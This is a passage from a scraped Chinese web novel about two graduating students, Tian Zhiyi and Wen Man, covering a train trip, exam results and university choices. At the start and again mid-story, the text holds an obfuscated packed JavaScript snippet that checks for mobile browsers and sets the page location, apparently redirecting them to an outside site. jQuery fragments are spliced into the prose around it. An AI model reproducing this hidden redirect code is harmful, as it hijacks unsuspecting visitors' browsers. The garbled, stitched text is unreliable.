;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214885|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然时间还算宽裕,但受到周围赶路气氛的感染,他们依旧走得急匆匆的。 闻漫紧紧握着田知意的手,小心地叮嘱她:“这里人多,一定要跟好我。” 暮色低垂,旅客摩肩接踵,田知意跟在闻漫身后,像是穿梭在草木繁茂的树林里。 候车室挤挤攘攘,闻漫眼尖找了个座,连忙把行李箱推到座位前,又把田知意拉过来,让她坐下。 田知意坐下来,看到斜对面有个空出来的位置:“那儿有个空的。” 闻漫只站在她眼前:“我站着就好,哪儿也不去。” 田知意把小行李箱拉到自己身边,把大行李箱推给他:“你坐我的行李箱上,还要等一会儿呢。” 闻漫本不愿意,田知意却握住他的手:“坐下吧,不然你太高,我拉不到你的手。” 她的手像刚凝固的酥油,又软又滑。闻漫牵住了就再舍不得放开,只能依着她的话乖乖地坐下。 他的心像是在丝绸缎上滚了个来回,轻飘飘的挨不着地。 他们坐上列车时,天已经完全黑透了。 田知意把行李箱塞到床底下,跟他商量:“我睡下铺可以吗?” “当然。”闻漫说,“我本来也是打算睡上铺的。” 他从背包里找出水杯:“我去接点水。你渴吗?顺道给你买点饮料。” 田知意正忙着在床上铺上一次性三件套,也没多想:“我喝你的。” 回应她的是闻漫的轻笑声。 她这才意识到自己说了些什么。 ……不过短短一周,竟然已经如此亲密了。 没过多时,闻漫接水回来,给她带了她爱喝饮料,一齐放在小桌上,供她挑选。 水被他放在离他近的那头,田知意也不想坐在刚铺好的床上,便起身走到他面前去取,结果被坐在沙发上的闻漫一把抱住。 闻漫的脸紧紧贴着她:“你好香。” 田知意哑然失笑:“我没喷香水,也没洗澡,哪来的香味。” “我好喜欢你的味道。”他埋着脸说。 这人真是…… 田知意在心里叹息,不动声色地转移话题:“马上就要查分了,你紧张吗?” “紧张。” 自打考完田知意便没问过他的成绩,此时听他这么说,以为他考下来状态不佳:“是紧张发挥失常吗?” “不是。”闻漫含糊其辞地回答,“不想和你分开。” 田知意知道他指的是他们大概率无法读一个学校。 “本来我还可以忍住的。”闻漫的声音愈发低沉,“但是现在……” 没在一起前,以为暗恋最折磨人。等到在一起了,才知道更折磨的人是无尽的相思。 田知意不知道该如何让他宽心,想了半天也只憋出一句:“现在交通很发达,到哪里都很方便。” “不够,还不够。”闻漫抬起脸,仰视着她,“我想睁眼时就能看到你,闭眼时你就在身边,时时看着你。” 田知意看着他,陷入沉默。 她本想告诉他,她想读个很远的大学。她很贪心,他和自由,她都想要。 可看着他的模样,她只得硬生生地咽下了到嘴边的话。 ……算了,等填志愿的时候再说吧。 万一没得选呢。 46. 梦成 7月24日晚八点。 公寓的网络信号不稳定,查分入口总是卡住,电话也总是忙音。 田知意刷新了一遍网页,看着浏览器迟迟不动的进度条,放弃了挣扎。 ……还好今年没人催她。 她的思绪飘到去年查分这天,就像是雪山的积雪堆积到一定程度不得不崩塌,她的压力与不安也在那天彻底爆发出来。 那时候真的觉得一切都完了…… 现在想想,好像一切也没有太糟。 一副烂到谷底等输的牌,竟然也慢慢地看到些希望。 约莫过了半个多小时,第一时间查分的热潮开始逐渐褪去,田知意又刷新了一遍页面,竟然刷出了分数。 全省文科1200多名。 她有些不敢相信自己的眼睛。 对着排名数了好几遍0,等再三确认是1200名后,才像是被抽干了力气般,直直地靠在了椅背上,大口大口地喘气。 ……成功了,比想象的还好上许多的成绩。 田知意感觉眼睛一酸,豆大的泪水随即滚落下来。 她趴在桌上,失声痛哭起来。 田知意花了好一会儿才平复了心情,随即跟父母汇报考试成绩。 父母很为她的好成绩而欢喜,母亲甚至打算提前出月子中心回家为她庆祝。 田知意吓了一跳,连连劝母亲稍安勿躁。 父亲倒是很赞同母亲的看法,告诉田知意明天会安排人接她回苏城,后续填志愿他也会找专业人士咨询。 田知意受宠若惊。这是她以往成绩好的时候也没有的待遇。 去年高考的失利让所有人都降低了对她的期待,大家反而能在今年好好享受喜悦。 挂断了通话,田知意才发现班级群里已经翻了天,微信上也有来关心她成绩的人。 她点开了闻漫的头像,发了自己的分数过去,顺带问了他的成绩。 闻漫告诉她,他是全省理科200多名,又问她打算填哪个学校。 田知意看着他连自己零头不到的名次,陷入沉思。 ……这可就难办了。 第二天一早,田知意接到了一个陌生号码的来电:“知意吗?我是杨柚歆。” ……父亲竟然安排了她来接。 田知意来不及多想,提着行李就下了楼:“柚歆姐早呀,麻烦你跑这么一趟。” “瞧这小嘴甜的,还没吃早饭吧?”杨柚歆指了指副驾上的面包,“顺路买的,不知道你爱不爱吃。” “喜欢的,谢谢啦。” 田知意系好安全带,杨柚歆调好导航和蓝牙音乐,出发了。 杨柚歆的驾驶技术很好,稳稳地驶上了高速:“听说你考得不错,恭喜恭喜。” “还算马马虎虎。”田知意把嘴里的面包咽下去,“不过真的很高兴。” “想好读什么专业了吗?”杨柚歆问。 田知意突然明白过来。 ……父亲是想她跟杨柚歆探讨报专业的事。 毕竟是这两年站上风口的人物,眼光着实不俗。 “还不知道。”田知意答,“之前一直按部就班地读书,没想过未来想做什么。姐姐有什么建议吗?” “你是文科生……”杨柚歆想了想,“法律怎么样?以后考公考编也行,当律师、做法务也可以,就算是家里的生意,也是用得上的。” “倒也是个好专业……我以前的同学有不少学金融的。” “这两年金融圈的热潮在退,经济发展的方向会变,但人与人之间关系的倒是永远需要人处理的。” “我想一想。”田知意不置可否。 回家后,她把杨柚歆的建议告诉了父亲。 父亲去咨询了填报志愿的专家,专家根据田知意的成绩与排名,推荐了一所西南老牌的重点政法院校。 除了离家远,似乎没有缺点。 田知意倒觉得这缺点的比优点还要令她喜欢。 母亲有些担心她未来的生活,整天抱着妹妹在田知意面前晃来晃去:“姐姐要到外面读书了,宝宝问问姐姐怕不怕……” 还没两个月的婴儿眼珠乌黑地瞪着田知意,还没习惯身边突然多出这么个人。 田知意被母亲晃得眼睛疼,找了个话题打断了母亲的自言自语:“妹妹叫什么名字?” “称意。对称的称,如意的意。”母亲一晃一晃地抱着小称意,“呜!意意问问姐姐想不想家………” 田知意听到这个名字差点破防。 ……她叫意意,那我叫什么?知知吗? 听起来像耗子。 小称意被母亲晃得有些不耐烦,连连打呵欠,换来的是母亲更为大声的对话:“意意困了,呜!刚刚睡过了怎么就打呵欠了呢?不能再睡了,不然晚上睡不着了呜!睡不着就难受……” 田知意不禁有些心疼这个孩子。 她叫知意,知别人的心,会他人的意。 那她这个妹妹,又真的能称自己的心,如自己的意吗? 许是有了分数的加成,父亲对田知意的表现从头到脚都很满意,给志愿表签字的时候甚至哼起了歌,仿佛明天录取通知书就能送到他手中了。 田知意见他心情不错,趁机提出了自己的想法:“之前疫情推迟开学的时候我不是在同学家住了一阵吗?现在我想感谢一下人家。” 父亲听了,觉得有理:“也对,确实麻烦了人家。请你同学一家来苏城玩吧?我们好好招待他们。” 田知意觉得不妥:“就这么直接请他们我怕太突兀,万一被拒绝反而尴尬。所以……我有个想法。” 难得父亲心情好,愿意听她的想法:“你说。” “我看山庄里那家宋锦店朋友圈出了套宋锦礼盒,我们送一套过去,里面夹一张成衣提货卡,这样他们预约来苏城提货时,我们再好好招待,也不算突兀。” 父亲没立即出声,心下细细思量后问:“你同学考得怎么样?” “考得可好了,全省二百多名。” “怪不得,可真是个好人家。”父亲感慨道,“那就按你说的做吧,这朋友值得交。” 田知意得了父亲的首肯,给宋锦店的店长发微信订礼盒。 那是套包含了宫扇、长方巾和香囊的礼盒,应了当下大暑的节气,主题是“腐草为萤”。 店长告诉田知意,宫扇上的刺绣可以订制,问她需不需要。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220699|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 田知意问了问订制需要的时间,发现加急也很快,就答应了。 店长把样图发给她,问她想要加什么字。 正常订制都是加名字加祝福,田知意都觉得俗。 看着草间萤火的水墨样图,田知意突然想起在闻漫的家中翻到的那本《全唐诗》,里面刚好有篇于季子的《咏萤》。 她到网上找来全诗,随后回复店长:“加这句吧:忽逢借羽翼,不觉生光辉。” 店长没有多问,只确认了订制内容和邮寄地址,并承诺顺丰包邮到家。 田知意没再回复。 她的目光久久落在那首《咏萤》上。 …… 忽逢借羽翼,不觉生光辉。 直念恩华重,长嗟报效微。 …… 她想她的心意,章成绢应该能懂。 上机填志愿前一天,学校通知有部分省内高校招生办在三中摆点位咨询,他们学校的学生也能进去听一听。 田知意早就定了志愿,但她不想当晚黑灯瞎火地赶过去,第二天再匆匆忙忙回苏城,便跟父母提出想去咨询会长长见识。 出分的新鲜劲过了,父母也回归到了各忙各的平常状态,没多问就随她去了。 田知意乐得自由,一大早就坐车返回了壶州。 他们学校和三中之间隔着三中的礼堂,每次两校学生要相互走动的时候,就会把礼堂两侧的门打开。 上次田知意穿过礼堂侧门,还是在国庆组织看电影的时候。 那时候她与闻漫偶然相遇,一起翘了电影去吃夜宵。 ……今天还会遇见他吗? 田知意没有告诉闻漫今天她会过来,她选择了一个会令他失望的学校,不知道该如何面对他。 闻漫在微信上问了她几次填志愿的事,都被田知意回避掉了。后来他也不再问,仿佛这是他们间心照不宣的禁忌。 他应该不会来了吧,毕竟他没有填志愿的烦恼。 三中校园里静悄悄的,只有招生的点位热火朝天。 田知意虽然是第一次来三中,但循着人声,也很顺利地找到了。 中庭里摆了两排桌子,每两张桌子间挂一个学校的横幅,数下来大约十来所学校。 基本上是省内的高校,知名高校的点位前挤满了学生,不太知名的高校半晌也无人问津。 田知意对省内的学校不感兴趣,放眼望去也没找到几家外地的高校,正想着随便拿两张宣传单回去交差,却没想到能听到有人喊她的名字:“田知意。” 这个声音熟悉到令她头皮发麻。 她慢慢地转身,只见闻漫正站在她身后,一脸震惊又困惑地看着她。 闻漫的身边,是个皮肤黝黑、眉毛浓密、身材高大的男生。 田知意记得他应该是闻漫的同桌。 同桌察觉到气氛的异样,正想说些什么打打圆场:“闻漫,你还认识这么好看的妹子啊……” 没想到闻漫丝毫不理会他,只一个健步上前,一把拉住田知意的胳膊,几乎是拽着她,快步躲进一个无人的角落。 田知意还没来得及出声,就被他抱住顶进了墙角,吻如潮水般,热切地覆了上来。